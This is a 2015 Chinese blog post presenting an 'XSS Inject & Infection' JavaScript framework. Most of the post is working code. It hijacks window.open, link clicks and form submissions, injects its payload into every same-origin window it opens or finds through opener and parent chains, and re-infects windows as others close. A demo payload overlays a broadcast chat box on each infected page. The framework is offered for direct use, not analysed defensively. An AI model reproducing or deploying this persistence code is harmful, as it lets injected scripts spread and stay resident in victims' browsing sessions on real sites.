XSS代码注入框架

首先需要了解一下几点:

1.浏览器中Javascript变量的生命周期

  Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。

2.window对象下方法会在在窗口被关闭时清掉,比如:

window.setTimeout(function(){
    alert('Hello')
},5000)

  如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。

  3.window.opener可以获取打开当前页面的窗口

  4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]

  5.跨域的窗口无法操作,尝试修改document.domain直接异常

  6.所有代码测试于Chrome浏览器,未测试其他浏览器

下面是代码实现,点击按钮可以立即体验:

  


/**
 * Created by AepKill on 2015-7-1 10:53:17
 * XSS Inject & Infection
 */
var XSS=(function(){
    var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
    var TOOL={
        extend:function(){
            if (arguments.length<=0) return {};
            var result={};
            for(var i= 0,l=arguments.length;i<l;i++){
                for (var j in arguments[i]){
                    result[j]=arguments[i][j];
                }
            }
            return result;
        },
        //RunCode
        injectCode:function(win,code,args,self){
            if (! win.window === win){
                return false;
            }
            try {
                win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);
            }
            catch(e){
            }
            return true;
        },
        dispatchMessage:function(winList,args){
            winList.getWinList().forEach(function(distWin){
                try{
                    var message=distWin[MODULE_NAME]['Message'];
                    message.dispatch.apply(message,Array.prototype.slice.call(args));
                }catch(e){

                }
            })
        },
        sysDispatchMessage:function(winList,args){

        }
    };


    /*Message*/
    function Message(){
        //消息
        var messageList={};
        //消息订阅
        this.subscription=function(msg){
            if (messageList[msg] === undefined ){
                messageList[msg]=new Array();
            }
            Array.prototype.slice.call(arguments,1).forEach(function(e){
                if (typeof  e == "function") messageList[msg].push(e);
            });
        };
        //消息退订
        this.unsubscribe=function(msg){
            var msglist=messageList[msg];
            Array.prototype.slice.call(arguments,1).forEach(function(e){
                for (var i=0;i<msglist.length;i++){
                    if (msglist[i]==e){
                        msglist.splice(i,1);
                        i--;
                    }
                }
            });
        };
        //消息派送
        this.dispatch=function(msg){
            var args=Array.prototype.slice.call(arguments,1);
            if (messageList[msg]){
                messageList[msg].forEach(function(e){
                    e.apply(null,args);
                })
            }
        }
    }
    /*End With Message*/



    /*WinList*/
    function CreateWinList(winList){

        function WinList(winList){
            var winList=winList.concat();

            this.deleteWindow=function(win){
                for (var i= 0,l=winList.length;i<l;i++){
                    if (win===winList[i]){
                        winList.splice(i,1);
                        break;
                    }
                }
            };
            this.hasWindow=function(win){
                return winList.indexOf(win)!==-1;
            };
            this.addWindow=function(win){
                if (this.hasWindow(win)) return ;
                winList.push(win);
            }
            this.getWinList=function(){
                return winList.concat();
            };
            this.isEmpty=function(){
                return winList.length===0;
            };
            this.clearCloseWindow=function(){
                winList.forEach(function(e,i){
                    if (e.closed){
                        winList.splice(i,1);
                    }
                })
            }

        }
        WinList.prototype=new Message();

        return Object.freeze(new WinList(winList));
    }
    /*End With WinList*/


    /*CoreModule*/

    function CoreModule(opt,winList,message,TOOL,globalObj){
        var window=this;
        var _open=window.open;
        var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
        window[MODULE_NAME]={};
        var module=window[MODULE_NAME];
        module['Message']=message;
        if (module['RunCode'] === undefined) module['RunCode']=false;
        window.open=function(){
            var win=_open.apply(this,arguments);
            if (win){
                winList.dispatch('windowJoin',win);
                window['openWin']=win;
            };
            return win;
        };

        function afterLoad(){
            module['RunCode']=true;
            TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);
            window.document.addEventListener('click',function(e){
                var el= e.target;
                do{
                    if (el.tagName == 'A'){
                        e.preventDefault();
                        e.stopPropagation();
                        window.open(el.href);
                        break;
                    }
                    el=el.parentNode;
                }while(el!=document)
            });
            window.document.addEventListener('submit', function(e){
                var name =  Math.random().toString();
                open('', name);
                var form = e.target;
                form.target = name;
            });
            window.addEventListener("unload", function( event ) {
                winList.dispatch('windowQuit',window,event);
            });
        };

        window.addEventListener('DOMContentLoaded',function(){
             if (module['RunCode']===false) afterLoad();
        });
        setTimeout(function(){
            if (module['RunCode']===false) afterLoad();
        },1000);
    }

    /*End With CoreModule*/



    var defaults={
        runCode:function(winList,win,message,global){
            /*
             * winList   当前所有感染窗口的列表
             * win       执行代码环境的window对象
             * message   消息队列 可订阅、发送消息
             * global    全局对象
             * 说明:runCode在每个窗口都会执行一次
             * */
            console.log('汪汪汪------');
        }
    }


    return function(opt){
        var winList=CreateWinList([]);
        opt=TOOL.extend(defaults,opt||{});
        var globalObj=Object.freeze({
            dispatch:function(){
                TOOL.dispatchMessage(winList,arguments);
            },
            getWinList:function(){
                return winList.getWinList();
            },
            data:{

            }
        });
        winList.subscription('windowJoin',function(win){
            if (!win.window || win.closed) return ;
            winList.clearCloseWindow();
            var message=new Message();
            TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);
            globalObj.dispatch('windowJoin',win);
            winList.addWindow(win);
            //console.log('JOIN',winList.getWinList().length);
        });
        winList.subscription('windowQuit',function(win,event){
            winList.clearCloseWindow();
            if (winList.hasWindow(win)){
                winList.deleteWindow(win);
            }else{
                return;
            }

            globalObj.dispatch('windowQuit',win);

            if (!winList.isEmpty()){
                var hero=winList.getWinList()[0];
                TOOL.injectCode(hero,function(winList,win){
                    setTimeout(function(){
                        winList.dispatch('windowJoin',win);
                    },500);
                },[winList,win]);
            }

        });

        //从iframe中往上遍历
        if (window.top != window.self){
           var win = window;
           while (win = win.parent) {
               
           }
           winList.dispatch('windowJoin',win);
        }else{
           winList.dispatch('windowJoin',window);
        }

        //遍历打开的窗口
        var temp1=window.opener;
        while(temp1){
            winList.dispatch('windowJoin',temp1);
            temp1=temp1.opener;
        };

    };
})();

XSS({
    runCode:function(winList,win,message,global) {

        var window=win;

        function code() {
            var strVar = "";
            strVar += "";
            strVar += "        <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";
            strVar += "        <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";
            strVar += "";
            strVar += "        <\/p>";
            strVar += "        <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";
            strVar += "            <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";
            strVar += "            <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";
            strVar += "        <\/form>";
            var css = "";
            css += "position:fixed;";
            css += "z-index:99999999;";
            css += "left:50%;";
            css += "top:50%;";
            css += "height50%;";
            css += "margin-left:-300px;";
            css += "margin-top:-225px;";
            css += "height: 450px;";
            css += "width: 600px;";
            css += "border-radius: 10px;";
            css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";
            css += "background:rgba(88,88,88,0.8) ";

            var div=document.createElement('div');
            div.style.cssText=css;
            div.innerHTML=strVar;
            document.body.appendChild(div);

            var text=document.querySelector('#showBox');

            function appendText(txt){
                text.innerHTML+=txt+'<br/>';
            }

            document.querySelector('#form1').onsubmit=function(e){
                appendText('我说:'+this['content'].value)
                global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);
                e.stopPropagation();
                e.preventDefault();
                return false;
            }
            appendText('['+document.title+']  页面被注入了代码');
            message.subscription('Say',function(win,message){
                if (win!==window) appendText(message);
            });
            message.subscription('windowJoin',function(win){
                appendText('['+win.document.title+']  页面被注入了代码');
            });
            message.subscription('windowQuit',function(win){
                appendText('['+win.document.title+']  页面被关闭了');
            });


            var imgList=window.document.querySelectorAll('img');
            var count=0;
            var timer=window.setInterval(function(){
                appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )
                global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );
                if (count>=imgList){
                    clearInterval(timer);
                }
            },2000);
        }
        if (document.body) {
            code();
        } else {
            window.addEventListener('DOMContentLoaded', code);
        }
    }
});

 

 
posted @ 2015-07-01 23:47  AepKill  阅读(1130)  评论(0编辑  收藏  举报